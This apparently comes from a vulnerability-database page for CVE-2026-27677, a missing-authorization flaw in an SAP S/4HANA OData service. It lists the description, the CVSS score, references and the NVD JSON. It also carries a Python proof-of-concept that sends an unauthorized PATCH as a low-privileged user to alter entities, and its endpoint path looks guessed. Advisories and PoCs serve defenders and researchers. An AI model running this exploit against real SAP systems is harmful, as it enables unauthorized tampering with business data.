CVE-2026-27677

Description

Due to missing authorization checks in the SAP S/4HANA OData Service (Manage Reference Equipment), an attacker could update and delete child entities via OData services without proper authorization. This vulnerability has a high impact on integrity, while confidentiality and availability are not impacted.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA (具体受影响版本请参考SAP Security Note 3715097)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
target_url = "https://<sap-host>/sap/opu/odata/sap/Z_MANAGE_REF_EQUIPMENT/ReferenceEquipmentSet('<EntityID>')"
low_priv_user = "<low_priv_username>"
low_priv_pass = "<low_priv_password>"

# Auth header using Basic Auth
auth = (low_priv_user, low_priv_pass)
headers = {
    "Content-Type": "application/json",
    "Accept": "application/json",
    # CSRF token usually required for state-changing requests in SAP
    # "x-csrf-token": "<fetch_token_first>" 
}

# Payload to update the child entity without proper authorization
malicious_payload = {
    "Description": "Updated by Attacker via CVE-2026-27677",
    "Status": "Inactive"
}

try:
    # Sending a PATCH request to update the entity
    response = requests.patch(target_url, headers=headers, auth=auth, json=malicious_payload, verify=False)
    
    if response.status_code == 200 or response.status_code == 204:
        print("[+] Exploit successful! Entity updated without proper authorization.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(f"Response: {response.text}")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27677
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27677
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27677/
[4] VulDB https://vuldb.com/cve/CVE-2026-27677
[5] https://me.sap.com/notes/3715097
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27677", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:06.130", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing authorization checks in the SAP S/4HANA OData Service (Manage Reference Equipment), an attacker could update and delete child entities via OData services without proper authorization. This vulnerability has a high impact on integrity, while confidentiality and availability are not impacted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3715097", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}